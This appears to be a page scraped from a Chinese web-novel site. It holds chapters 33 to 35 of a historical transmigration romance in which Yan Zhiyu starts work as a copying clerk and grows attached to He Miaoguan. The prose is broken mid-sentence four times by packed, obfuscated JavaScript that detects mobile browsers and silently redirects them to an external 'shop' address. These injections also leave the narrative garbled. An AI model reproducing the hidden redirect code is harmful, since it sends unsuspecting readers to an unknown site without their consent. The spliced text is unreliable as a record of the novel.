清池白他一眼,故意用棉签重重按着伤口,惹得清泉倒抽一口冷气:“呜哇,你干嘛!” “叫你平日不好好练功,连个朝中文官都应付不了,还落得一身伤。”清池没好气地数落着,“活该!” “这真不怨我!明明我差一点就杀死他,但那个何小姐忽然跑过来,哎,公子虽然没命令不能伤她,但是你瞧他那副模样……”清泉说着,轻哼一声,“我当心伤到她,才让开的,没想到就被杜鹤安抓住破绽,反刺了一剑……” 清池无奈地摇摇头,替他包扎好伤口,又将外袍递过去,轻叹道:“少抱怨两句吧。若是让公子听到,有你好受的。” 清泉瞬时噤声,警惕地四下张望,确认周围没有脚步声后,才压低嗓子神秘兮兮地问:“清池,你觉得公子是不是真喜欢何小姐啊?” 清池皱着眉,凝思片刻,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548112|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我觉得,有可能。” “我也觉得。”清泉仿佛找到了知音,“要真是怀疑何小姐是什么细作啊、暗桩啊,为什么不直接抓起来审。公子说什么要徐徐图之,慢慢找到幕后主使,但人家哪有什么幕后主使啊……我看公子赖在何家不走,就是春心大动,想谈情说爱。” 清池觉得此言在理,亦点点头:“不过公子这个年纪,也该谈情说爱。” 两人窃窃私语一会,又从房中翻出一副叶子戏,对坐打发时间。 “清崖呢?”清泉一边出牌,一边问,“近来总不见他。” “好像公子有什么事,遣他回长安一趟。” “长安不是有清露么?” “清露处理的是正经公务。但清崖……应该是让他调查顾徊在长安的经历。” “哦。”清泉若有所思地点头,“公子这是要查情敌啊。” 清池噗嗤一声笑出来,伸指轻轻点了一下他的额头:“就你聪明。” 直至夜色深沉,燕之郁才推门而入。 “公子。”清泉连忙站起来。 “伤好些没。”燕之郁看向他缠着绷带的肩胛,淡淡道。 “特别好。公子这么关心属下,属下感觉一点都不疼。”清泉故意道。 燕之郁瞥他一眼,未再多言,径自走到书案前坐下。他提笔蘸墨,在宣纸上迅速写下两行字。写罢,将纸折好,推至清池面前。 “去请陆先生算算这两人的生辰八字,是否相合。” 清池双手接过,迟疑道:“公子,那位陆先生,因为我们上次烧他茅屋,早就搬离了扬州,如今恐怕只能寻他徒弟代劳……” 徒弟就徒弟吧,横竖他也只是一时兴起,随意算算他们是否相合。 “属下现在便去?” “随你。这件事不急。” 清池深知,一般说不急,就是希望她越早干完越好,便立刻披上幂篱,将清泉一个人留在屋内。当然,她着急走的另一个原因是公子看上去心绪不佳,所以应当尽快避开,免得触犯霉头。 浑然不觉的清泉指着案上未收的叶子牌,笑嘻嘻地问道:“长夜漫漫,可要属下陪公子玩两局解解闷?” 燕之郁未置可否,抬手捻起一张牌。 半个时辰后—— “公子!!!”连输三局,清泉终于按捺不住,小声嘟囔,“公子能不能让着属下一点。属下还带着伤呢。” 鬼使神差地,燕之郁淡淡应了一声:“好。” “多谢公子!” 新的一局,清泉终于尝到赢牌的滋味,眉开眼笑。 窗外传来打更的梆子声,夜色已深。 燕之郁起身更衣洗漱,待他回到榻边坐下时,神情有些恍惚,怔怔地望着烛台上跳跃的火苗。 他觉得心绪不宁,有什么东西好似脱离了掌控。 意识渐渐模糊,他坠入梦乡。梦中是一片大红喜庆之色,红烛高照,宾客盈门。他奋力挤过喧闹的人群,来到最前方。只见高堂之上,左边坐着顾家夫妇,右边是何家夫妇。 司仪高唱:“一拜天地——二拜高堂——夫妻对拜——” 新郎与新娘依礼躬身。 他望着熟悉的身形,迟疑地唤出声:“妙观?” 新娘的动作微微一顿,盖头下的脸庞却并未转向他。 众人欢笑着,簇拥着一对新人走向洞房。 燕之郁猛地惊醒。 窗外天光大亮。 枕边放着一叠纸张,是托清池去测算的生辰八字。 他迟疑片刻,终是伸手,将其展开。 33.三十三 暮秋时节,江南气温渐低,草木零落。即便是繁华富贵的仁丰里,也逐渐有萧索的迹象。 但何府内却是另一番景象。 红绸高挂,宾客盈门,鞭炮声噼啪作响,震耳欲聋,一派热火朝天的喜庆景致。 这份热闹,源于三日前徐墨陵回给何徵的一封信。信中说,他在扬州府衙缺一个抄录文书的吏员,若何徵口中的那位“小燕郎君”不嫌弃这个职位,倒可以来试一试。 何徵最初觉得有点失落。这抄书郎的差事,是小吏,而非正经的官职,面子上实在有些过不去。但转念一想,这可是替堂堂刑部侍郎抄录文书,每日经手的必定皆是机要文件,明眼人一看便知,分明是徐侍郎有心栽培,日后前途定然不可限量。 如此一来,何徵又觉得心花怒放。和陈寄柔商议后,便大摆宴席,广邀亲朋。名义上是赏秋雅集,实则意在庆贺燕之郁得到一份前程远大的差事。 顾家自然也收到了请柬。 顾捷看着请柬上何徵亲笔所书的客套言辞,就知晓何徵同他一样,对两家的娃娃亲不再抱有期待。他便更心安理得地加紧与在长安为官的长兄联络,誓要为顾徊寻一门侯府千金的好亲事。 长兄回信时顺嘴提道:“周国公正巧在扬州。若是阿徊有心,不妨寻机和郡主多多往来。” 顾捷心想,若是能攀上周国公,让端阳郡主和顾徊成亲,那真真是顾家的福分。 可一想到上回蕙仙从周府宴会归来,将端阳郡主骂得狗血淋头,连着数日家中不得安宁,顾捷又不禁踌躇起来,感到进退两难。 更让他气闷的是,顾徊不知吃了什么迷魂药,竟嚷嚷着非要娶何妙观不可,甚至还说出什么“不在乎她心有所属,只要成婚便好”的混账话。 顾捷被气得险些请出最严厉的家法,狠狠教训逆子一顿,若非顾老夫人苦苦拦着,顾徊的屁股绝不可能好端端的。 这场闹剧过后,顾捷便决定罚顾徊禁足两个月,不到年关不许出府。可没想到,蕙仙也跳出来为兄长求情,一哭二闹,把整个顾家搅得更加鸡犬不宁。顾捷被缠得无法,只得悻悻作罢,将顾徊的禁足缩短到一个月。 这些日子,顾捷的心情可谓糟糕透顶。 尤其是此刻,看到宴席上何徵春风得意的脸时,他觉得胸口堵得愈发得慌。 “敏行,这菜可是不合你胃口?”何徵端着酒杯走近。 “尚可吧。”顾捷耷拉着脸,勉强举杯与他碰一碰,“恭喜你啊文曜,慧眼识珠,觅得如此良才。” 何徵哈哈一笑:“哪里哪里,是囡囡有眼光!哎,怎不见令郎啊?” 顾捷不便明说顾徊尚在禁足,只得含糊其辞:“阿徊啊……偶感风寒,不便出门见客,文曜,见谅。” 正说话间,一位气度雍容的中年男子缓步而来。二人连忙侧身行礼:“国公。” 周菡微微颔首,目光落在顾捷身上:“顾通判,早就听闻令郎是今科探花郎,才貌双全。本想在长安见一见,奈何当时琐事缠身。此番来扬州,原以为能弥补遗憾,怎的今日又未见着?” “犬子抱恙,实在不便见客,还望国公见谅。”顾捷讪讪道。 “哦,这倒是可惜。”周菡轻叹一声,“扶摇初到扬州,没什么伴,难免觉得闷烦。上回品茶会,她才稍展欢颜。她还说,令嫒蕙仙性子活泼,甚是有趣,还希望日后能多走动走动。” 顾捷想起顾蕙仙回来时说的话,有点尴尬,连忙道:“小女顽劣,能得郡主青眼,真是她的福分。” 远处的凉亭里,年轻人们正围着一张石桌。石桌上摆着一副象棋,双方正杀得难解难分。 “鹤安哥哥,快吃他的马。”一个极为貌美的女郎轻笑道。 原书里的女二周扶摇是长安一等一的美人。金枝玉叶,眉目若画,一颦一笑都极是动人。今日她盛装赴宴,锦绣华服衬得肌肤胜雪,是年轻一辈中的焦点。来赴宴的不少小郎目光一落在她身上,便再难移开。 何妙观呆呆看她一会,也觉得她生得极为好看。 察觉到她的目光,女郎抬起头,灿然一笑。 何妙观微微一愣,也弯起唇。 “妙观,她又不是杜御史的妹妹,叫什么哥哥……”顾蕙仙小声嘟囔道,“观棋不语,人家楚小姐就安安静静的,她却一直说话。” 何妙观知道蕙仙还记着上回的事,轻轻拍拍好友的手背,以示安抚。 “燕兄,请。”杜鹤安落下一子后,含笑示意。 燕之郁眸光微动,修长的手指拈起红车,越过楚河汉界,直插腹地。 “好棋,好棋。”围观的一位小郎忍不住抚掌惊呼,“兄台这一招弃车抢攻,当真果决,厉害,厉害!” 杜鹤安凝视棋局,眉间微蹙:“不知燕兄师承哪位大家?” “我看棋谱学的。”燕之郁语气平淡,唇角却微微弯起,好像想起什么有意思的事。 杜鹤安轻叹一声,已是认输之态。 “鹤安哥哥,这棋局还有的打嘛。”周扶摇不以为然,伸出纤指,将黑子轻轻一推,“喏,走这步,还能周旋。” 燕之郁并未言语,拈起“马”。三步之后,黑方老将已是瓮中之鳖,再无转圜的余地。 石桌两侧换上新的对弈者,战火重燃。 周扶摇从亭中走出来,目光看向燕之郁,含笑道:“你就是何刺史说的小郎君?没想到,棋艺竟如此高超,连鹤安哥哥都甘拜下风。我叫扶摇,不知该如何称呼你?” 燕之郁用绢帕擦完手,抬眸打量着她。在她脸上,他看到另一张熟人的脸。 “燕之郁。” 刚吃完水果回来的顾蕙仙恰好看到这一幕,扯住何妙观的袖子,压低声音道:“妙观,你看她、你看她,上次茶会她也这样,对长得好看点的小郎君,就和颜悦色地搭话,遇到我,就使劲刁难,妙观,你不要理她。” 何妙观虽不清楚茶会具体情形,还是柔声安抚:“是是是,我们蕙仙眼不见心不烦好不好。”说着,抬手轻轻捂住好友的双眼。 顾蕙仙先是一怔,随即被这稚气的举动逗得咯咯笑起来。何妙观见她展颜,正要松手,不料一双微凉的手掌从身后覆上她的眼帘,清冽的栀子香萦绕而来。 “妙观……”少年自身后贴近,“怎么不看完我的棋局再走?” 何妙观忙拨开他的手,果然见顾蕙仙瞬间垮下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559081|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸来。这时周扶摇也袅袅婷婷地走来,柔柔笑道:“呀,是蕙仙姑娘。上回茶会后,我好思念你,给你写请帖,但你却总说很忙。” “你上次作的诗,我特意让人裱起来挂在书房,写的真好。” 顾蕙仙想起茶会上被周扶摇当众读诗的情景,猜这郡主又是来揶揄她的,脸色更差:“呵呵,我那拙作怎配入郡主的眼。” “蕙仙,你不必自谦的。你写得比我在长安见过的许多才子的诗都来得灵秀。哦,蕙仙,我还有一件事想要问问你……” 何妙观听着听着感觉不对。端阳郡主的话,实在不像在讽刺人,顾蕙仙怕是有什么误解,才这样一副态度。但两人已走向另一处,她没办法再对顾蕙仙说些什么。 “妙观,我也有些话想单独同你说。”燕之郁拉起她的手。 “昨夜你对我做的事,你还记不记得?”他问。 何妙观呼吸微滞,脸颊绯红,一时语塞。 静山一事后,燕之郁的好感度突飞猛进,一下子涨到四十。随即解锁的第三个和第四个故事都发生在永昌十四年,燕之郁十一岁的时候。 匪灾后,燕之郁回到康平村,却发现自家屋舍被村里的地痞占据,只能暂住在周家婶婶家。但天有不测风云,周家婶婶上山采药时失足坠崖,他和周崖,此后便只能靠着在村里帮工勉强维生。 可匪患并未真正结束,不过三个月,黑马再次闯进村庄。他和周崖凭着上次的经验,躲进枯井侥幸逃生。此番经历,让两人决定离开康平村,前往隔壁稍微富饶些的海陵县谋生。 燕之郁凭借一手漂亮字,为富户抄书度日;周崖空有一身力气,便给大户人家赶车送货。 但好景不长,政令改动后,海陵县的富户不得雇佣未满十八岁的男子,两人顿失生计,只得混迹在流民中行乞,夜里在城隍庙歇息。 想到相遇时的荒凉破庙,何妙观心生怜悯,昨夜便带他去清乐坊玩,晚上在醉仙楼还一起饮了点梨花酒。 至于后来……何妙观实在记不清,只能听他信口转述。 “酒后吐真言的,妙观。”他看她眼底的闪躲,手臂一环,揽住她的腰肢,将人带近些,“妙观,你不仅抱着我,还……还亲我,你说我是你在这世上最最最喜欢的人。” “你别太夸张。”何妙观矢口否认,“燕之郁,你觉得我喝酒就没记忆是不是?” “妙观,你有说的,你还说……”燕之郁故意卖起关子,牵着她走向院子深处僻静的花廊里,“你还说了些别的,想听么?” 何妙观将信将疑,在他身旁的石凳上坐下。 “燕郎君,你不许卖关子。快点说!” 燕之郁轻声道:“妙观,你说你很讨厌你的弟弟。” 何妙观心头一跳,神色慌乱。 “妙观,你哪来的弟弟,难不成是何宝灵么?他以前欺负你么?” 燕之郁心想,何府里也就只有何宝珠的弟弟,何宝灵,在年龄上能算做“弟弟”。 “我才不告诉你。”何妙观撇撇嘴,“昨日我还说什么没有?” 燕之郁眼底笑意更深:“有的,妙观。你来坐我这里,我便告诉你,好不好?” 34.三十四 少年斜倚在花廊的朱漆柱旁。淡薄的天光透过藤蔓缝隙,在他脸上投下斑驳的光影,衬得他骨秀神清,眉眼如画。但动作却有些不合时宜的促狭。 燕之郁指指他的大腿,道:“你坐这里,妙观。” “才不要。” “妙观,为什么如今要这样生分,明明我们都做过更亲昵的事……” “什么更亲昵的事?”何妙观忍不住反问。 话音未落,燕之郁便伸手拉住她的手腕,轻轻一带。何妙观猝不及防,重心失衡,跌入他怀中。 “在静山的时候,我们就是这样的,妙观。”他低声说着,双臂环住她的腰,将脸颊埋进她的颈窝。 何妙观坐在他怀里,看着石板上摇曳的满地花影。 花廊幽深僻静,隔绝着喧闹的人声。 秋风过廊,花影摇曳,簌簌作响。 他毫无声息地抱着她,一言不发,只是缓缓地呼吸着。温热的气息撩得何妙观脖子痒痒的,有些想笑,但又觉得此刻笑出来实在破坏气氛,只得抿嘴忍住。 过了好一会,何妙观才小声道:“燕之郁,你这是怎么回事?” 他抬起头,脸颊泛着浅淡的红晕,眼眸里水雾氤氲,湿漉漉地望着她。 “妙观,我好久没这样抱过你。”燕之郁轻声道,“我好喜欢和你这样子。” “可你不是说,我昨日还抱着你么?”何妙观忍不住戳穿他。 燕之郁一时语塞,答不上来,只好将发烫的脸埋进她的肩窝,用唇瓣轻轻蹭着她的颈侧。 正是因为昨日的亲昵,才让他今日如此难以自持。 昨夜,何妙观喝醉后,除却絮絮叨叨说个不停外,还毫无顾忌地坐到他腿上,手臂柔柔地环住他的脖颈。他和那日在山洞里一样,身体起了微妙的变化。但她却浑然不觉,一手抚着他的面颊,另一手沿着他的腰线不安分地向下摸索,还好奇地问:“燕郎君,你今天的脸怎么这样红呀?” 他没有像往常一样含笑说出“因为我喜欢妙观”,只是含糊地归咎于酒意。 “啊?可你也没喝多少吧?”何妙观醉眼朦胧地追问。 “我真的喝的挺多的,妙观。”他无力地解释着。 何妙观似懂非懂地“哦”了一声,又凑近过来,双手捧住他的脸,温软的唇瓣毫无预兆地印上他的唇角。 那是他第一次被人亲吻。 女郎清甜的熏香混着淡淡的酒香扑面而来,扑闪的长睫扫过他的皮肤,他只觉得头脑嗡鸣,呼吸滞涩。 他原本以为忍一忍,忍到回去就好。但没料到,醉后的何妙观格外兴奋,见他未抗拒,又往下亲吻他的喉结,指尖还坏心眼地掐了掐他敏感的腰侧。 不过半刻钟,燕之郁便溃不成军,慌忙唤来堂倌送上醒酒茶。 回到何府后,燕之郁一夜辗转难眠。身体里涌动着陌生的潮汐,轻飘飘的愉悦感充盈四肢百骸,但因为得不到彻底的满足,悬在半空,催生出更深的渴望。 他遵循本能生涩地抚|慰自己,却因为不得要领,越陷越深,愈发难受,怎么也弄不出来。直到三更半夜还没睡着,最后是冲澡才勉强压下那股躁动。 然而,食髓知味。令人战栗的欢愉,在再次见到何妙观时,不受控制地翻涌上来。 对弈时他心绪不宁,脑海中反复浮现的,全是昨夜她迷蒙醉眼里他的倒影。 不应该是这样的。 他不应该连原始的欲望都掌控不住。 “燕郎君,你还好吗?我起来咯?” 何妙观看着他出神的模样,伸手轻轻戳一戳他的脸颊。少年这才恍然回过神,眼底重新漾起温柔的笑意,软声道:“妙观,我就是想抱抱你。再让我抱一下吧。” “行吧、行吧。”看他有点委屈,何妙观心软下来,安分地坐在他腿上,小腿轻轻晃动着,“你和杜御史的棋局怎么样?” 棋至中盘时,她被顾蕙仙拉着去拿茶点,没能看完终局。 “妙观,你猜猜看?”燕之郁唇角微扬,颇有些得意地望着她。 何妙观故意不接他的话茬,捧住他的脸颊,一本正经地宽慰道:“哦——没关系的,燕郎君,胜败乃兵家常事,你技不如人,下次再努力就好啦。” “妙观!”燕之郁手臂一收,将她搂得更紧,委屈巴巴道,“没想到妙观这么盼着杜兄赢,那刚才,倒是我不懂事,让杜兄有失颜面。妙观,妙观你别生我的气好不好?” 何妙观被他颠倒黑白的本事逗得一笑,道:“燕郎君,我原本还担心你初入官场会吃亏,现在看来你这张嘴啊——哎,我真是白操心。” 再过些时日,燕之郁便要去扬州府衙担任抄书郎。明日,何妙观还要陪着他去扬州衙署熟悉环境。 “妙观,我做的不过是一些抄录文书的活,不需要动脑子的。”燕之郁一边道,一边缠绕着她一缕发丝把玩,“你不用担心我。” 何妙观略微正色道:“其实,我是在担心徐侍郎。” “……嗯?”燕之郁微微一怔,诧异地抬眼。 “燕郎君,我总觉得他为人很古怪,应该是个不好相处的人。你在他手下要谨慎一些,免得惹他不快。”何妙观细细回想着那次在醉仙楼的初见,“哎,阿父还说他是陛下眼前的红人……倘若能得到他的青眼,肯定前程可期,燕郎君,你要好好努力呀。” 但何妙观毕竟没上过班,对官场、职场的认知全来自各种营销号视频。思来想去,还是忍不住将那些刷到过的“职场生存法则”一条条细细叮嘱给他。 燕之郁听着这番教导,睫毛轻轻颤动,一时不知该作何表情。他低低应了一声“嗯”,将脸颊埋进她温软的肩窝里。 何妙观以为他嫌啰嗦,不悦地将他从肩上拉起来,板着脸道:“燕郎君,你今日不好好听我的嘱咐,日后被人穿了小鞋,我可救不了你。” “是是是,大小姐。”燕之郁连忙举手作发誓状,眉眼依旧弯弯的,“大小姐说的每一条,在下都记得清清楚楚,绝对不会忘记的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564149|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哦——答应的倒是挺乖的。那你说说我刚刚讲的是什么?” “第一,上司交代的事要立刻记下,当日事当日毕,绝不拖延。第二,和同僚相处要留三分余地,不议是非,不露锋芒……” 见他记得分毫不差,何妙观这才满意地点头:“这还差不多。” == 扬州府衙内院,竹影扫阶,苔痕阶绿。 接待他们的是个二十出头的年轻书吏。书吏将二人引至内院,推开西厢屋舍的门,道:“此处便是燕郎君日后抄录文书的地方。二位且看看。” 何妙观里外转了一圈,心下颇为满意。房间虽然不算宽敞,但收拾得十分整洁。窗外竹影摇曳,远离街市喧嚣,是个清幽之处。临窗的书案上,笔墨纸砚已备齐,一架素屏风隔出小小天地。书架上除却卷宗,还错落放着些诗文杂集,供闲暇翻阅。 待书吏退下后,何妙观问:“燕郎君,你在这的月俸有多少?” 燕之郁微微一愣,估摸道:“呃……大概是三两。” 三两银子,折合成现代的购买力,大约相当于六千元。何妙观心想,对于一个初入衙门的抄书郎而言,这待遇还算不错。 “挺好的,他们有没有说你以后要做什么?” “呃……大概就是抄户籍册、税赋纪要、往来公文吧?”燕之郁道。 “这听着好枯燥呢。”何妙观叹道,“日后你若觉得烦闷,一定要同我说。” 昨夜,系统提示说,燕之郁的黑化值下降五个点。 这自然是一件好事。 但何妙观一想到现代社会,许多人被工作折磨得苦不堪言、身心俱疲,不免又担心这枯燥的差事会让他心生厌烦,导致黑化值升上去。 “往后你下值,我多带你出去散心。”何妙观又补充道。 燕之郁凝望着她,唇角不自觉微微上扬。 “好呀,妙观。” 话音刚落,他不由自主地再次将她揽入怀中,脸颊眷恋地轻蹭着她的鬓发。 “燕郎君,你没事吧?” “就抱一下。” “好吧……”何妙观任由他抱着,心里有点奇怪。 虽说好感度四十,和何怀初持平,但是,这不至于这样黏人吧? 何妙观暗自估量着,自己对他的好感度应当有五六十,但却并未产生整日想要拥抱他的冲动,顶多是想捧着他那张过分漂亮的脸蛋细看。波光潋滟的桃花眼,红润的薄唇,眼尾那颗小小泪痣,单是看着他的脸就足以心旷神怡。 至于他衣袍下的身体…… 少年身形修长劲瘦,肌理分明,隔着衣衫也能觉出柔韧的腰线。他衣襟间总萦着清浅好闻的香气,坐在他怀里,无论触感还是嗅觉,都很舒适。 但她确实不像他那样,一日之内要多次拥抱才能安心。 何妙观正神游天外,忽闻耳畔传来一声温柔缱绻的低唤。 “妙观,我好喜欢你。你再亲我一口好不好?” 35.三十五 何妙观微微一愣,抬起头打量他。 少年白皙的面颊浮着薄红,长睫低垂。不像往日游刃有余的调笑,反倒更显得惑人。 “不好。”何妙观别开视线,面色羞赧地摇摇头,“而且,我那天晚上肯定没有亲你,都是你在胡说八道。” “妙观……”燕之郁委屈地唤她,轻轻咬着下唇,“你有的,你那日不仅亲我,还摸我的身体,还——” 何妙观慌忙地捂住他的嘴。他温热的呼吸扑到掌心里,痒痒的。 “燕之郁,你不许乱说!” 怎么把她说得像翻脸不认的渣女。 燕之郁眸中含着笑意,没再求她,轻轻牵住她的手,在手背落下一吻。 == 抄书郎的差事十分清闲,每日辰时上值,巳时便可下值。 燕之郁下值非常准时,每天,巳时刚过一刻,他便已回到何府。即便有的时候扬州府有要事,何怀初、何静臣需忙碌至晚膳方能回来,燕之郁却总能早早脱身。 何妙观觉得奇怪,问他,他只说那些繁杂公务和他没什么关系,他做完分内事便离开,没什么不对的。 因此,何妙观忍不住怀疑抄书郎是否没什么前途,或者,徐侍郎其实并不像何徵所言,想要栽培他,只是碍于情面随意安置一下而已。 “燕郎君,徐侍郎他待你怎么样?”何妙观实在忍不住问他。 “呃……还行吧。”燕之郁含糊道。 见他神色犹豫,何妙观追问道:“燕之郁,你和我讲实话,他是不是有在刁难你呀?” “没有的。”燕之郁连忙道,“妙观,我不过是抄文书的而已,有什么被好刁难的。而且,他平时,其实挺和颜悦色的。” “和颜悦色?”何妙观想起那日的黑色幂篱,又想起在营销号里看到过的职场险恶,忧心忡忡道,“燕郎君,你不知道,有的人表面和气,其实是笑里藏刀。呃,虽然说,徐侍郎戴着个面纱,我们不清楚他到底笑没笑,但万一,他是看在阿父的面子上才愿意让你去,心底其实对你非常不满怎么办……” 燕之郁轻轻咬住下唇,心里暗道何徵的面子哪有这么大。 但女郎关切爱怜的神色,让他心中浮起波澜。 一日日的相处让他知道,何妙观对他真实的身份一无所知。当初能叫出他姓燕,施以援手,或许真的是因为那场离奇的梦境。因为梦中的仙人指路,才同他相遇。和谚语里的“百年修得同船渡”没什么区别。 既然是天赐的缘分,那他便不该再为隐瞒身份耗费心神,纠结不已。 他应当坦然告知她一切。 若她不计较他的隐瞒,他们便可继续这般朝暮相处;若她心生芥蒂,不愿再见他,那便一别两宽。他这一生,并非要困于情爱不可。 更何况,她终有一日是要和顾徊成婚的。他们之间的缘分,迟早会有尽头。 想到顾徊,他又有点犯恶心。 他是决计不愿与旁人分享妻子的温存与爱怜的。 “燕之郁,你有没有在听我说话!” 眼前人又不知神游到哪里,何妙观气恼地伸手掐住他的脸颊。 疼痛令少年蹙起眉头,回过神来。 “妙观,”他揉揉被掐的地方,低声道,“我在想,徐侍郎或许并非你想象中那般不堪,他真的挺好的……” “怎么可能呀……”何妙观连连摇头,一脸笃定,“这些日子我思来想去,越想越觉得他不是什么好人。首先,他年纪轻轻就受圣人宠爱,那说明什么?说明这个人肯定善于阿谀奉承。” “再者,你想想,能在长安立足的高官,哪个不是人精?阿父在扬州为官多年,阅历何等丰富,尚且需步步为营。他呢?我听说他好像才二十多岁,这样年轻便身居高位,肯定有八百个心眼子。” “还有,他戴着那个面纱,旁人连他是喜是怒都看不到……” 何妙观越说越觉得可怕,忍不住拉过少年的手,神色郑重道:“燕郎君,你若是在他那受了什么委屈,一定要告诉我。虽然说,徐侍郎的官比阿父大,但他若是真的苛待于你,这抄书的活我们不做也罢。” 燕之郁凝望着她,心头微动,顺从地点点头,轻声道:“好,都依妙观的。” 何妙观这才眉眼弯弯地推他:“你先休息会,我去和宝珠说点事。晚膳时再见。” 待她离去后,燕之郁换下官服,穿上常穿的浅蓝色常服,又坐于镜前,将微乱的发丝重新打理齐整。 屏风后传来极轻微的窸窣声响。 “公子——”清泉拖长嗓音叫道,语气很雀跃。 燕之郁从镜中瞥他一眼,直觉没什么好事:“你何时回来的?” “两刻钟前。” 言下之意,方才他同何妙观的对话,他听得一清二楚。 果然,下一刻清泉便凑近些,压低声音问道:“公子,要一直瞒着何小姐么?” 玉梳停在半空。镜中少年眉眼低垂,良久才轻声道:“现在还不是坦白的时候。” “也是,毕竟何小姐如今对‘徐侍郎’偏见颇深呀。”清泉摸着下巴,若有所思,“不过话说回来,属下觉得,若论家世、容貌,公子比顾徊可是有过之而无不及。何小姐若知晓公子的真实身份,说不定会倾心于您,同公子成亲……哎,属下失言!” 燕之郁眸光一敛,并未接话。 他们不会成亲的。 那日他让清池寻人合过他与何妙观的八字,结果竟是相克。 起初他不信,又另请高明推算,所得卦象更为骇人。她终将命丧他手。 燕之郁实在想不出,有何种缘由会令他非要杀掉她不可。 如今他连杜鹤安都暂且放过,为何会杀她呢? 清泉仍在絮絮叨叨:“不过女郎的心思很难猜的,万一何小姐觉得公子有意欺瞒,在戏弄她的感情,一气之下与公子恩断义绝也说不定——哎哟!” 燕之郁嫌他聒噪,随手将案上一团废纸捏起,精准地掷了过去。 “哎哟!” “让你查的事,查清楚没?” 清泉连忙正色道:“回公子,何宝灵如今在金陵的清斋堂进学,由他的乳娘和两个嬷嬷照料着,估摸要等到年关才能回来。这个人呢,在学堂里非常顽劣,惯爱欺凌那些家境不如他的同窗……” 燕之郁垂眸思索。 “公子该不会是要属下杀掉他吧?嘶……” 燕之郁摇摇头:“急什么,待他回来再说吧。” 他倒想知道,此人到底是多惹人厌,以至于何妙观醉酒都不忘记骂一句。 == 另一边,何妙观正翻阅着宝珠呈上来的画稿。 她一页页翻过,但在看到某一页时,眉头渐渐蹙起。 画中的年轻郎君生着一双桃花眼,眼尾缀着两颗小痣,鼻梁高挺,容貌艳丽异常。 这分明是照着燕之郁的模样画的。 何妙观抬眼看向宝珠,宝珠心虚地别过脸,小声嘟囔:“姑姑,画画嘛,总得有个参考的,这个角色是书里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580418|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶顶好看的,宝珠想来想去,便觉得参照燕郎君最是合适……” 何妙观踌躇片刻,委婉道:“宝珠,你要不先问问燕郎君的意思?” “宝珠问的话,他肯定不同意。”何宝珠扑上来抱住她的手臂,软声央求,“姑姑帮宝珠问问好不好?姑姑,姑姑,姑姑,宝珠最喜欢姑姑啦……” 说曹操曹操到。门外恰在此时响起少年清冽的嗓音。 “妙观、宝珠小姐,时候不早,要一起去用晚膳吗?” 何宝珠闻声,手忙脚乱地将画稿塞进抽屉,拼命朝何妙观使眼色。 何妙观扬声道:“燕郎君,你进来吧,有件事想听听你的意思。” 少年推门而入,略带疑惑地望向她。 何妙观从抽屉中抽出一张画稿,递到他面前,什么话也没说。 燕之郁看着画中的人物,片刻后,抬眸问道:“这画的……是我?” 他隐隐约约知道这一个月何妙观在忙什么事,好像是说,要帮宝珠找个营生做做。但没想到,竟然会是给话本当画师。 “嗯,是参照你的样貌画的,宝珠想征得你的同意。” 燕之郁沉默一会,道:“这人是书中的主角么?” “当然不是!”何宝珠连忙道,“燕郎君,这书的男主下场这么凄惨,宝珠怎么会这样做!这位,是一个惊鸿一瞥的配角,下场也很好的……” 他神色平淡,看不出喜怒,何宝珠急道:“姑姑!姑姑你快帮宝珠说句话——对哦,宝珠在此多有不便,姑姑,燕郎君,你们慢慢谈!” 话音未落,宝珠一溜烟蹿出门外。 何妙观看着她仓惶的背影,忍不住轻笑摇头,又轻轻扯了扯燕之郁的衣袖:“燕郎君,你就答应宝珠吧。事成后,赚到的银钱分你一点,好不好?” “妙观,这倒是不用。”燕之郁望着她,唇角微扬,“让宝珠把这个痣去掉吧,免得被人认出是我。”他顿了顿,又问,“你们什么时候去找书坊?” “约的是大后天。一共有三家。”何妙观答道,“到时候看看谁给的好处多。” 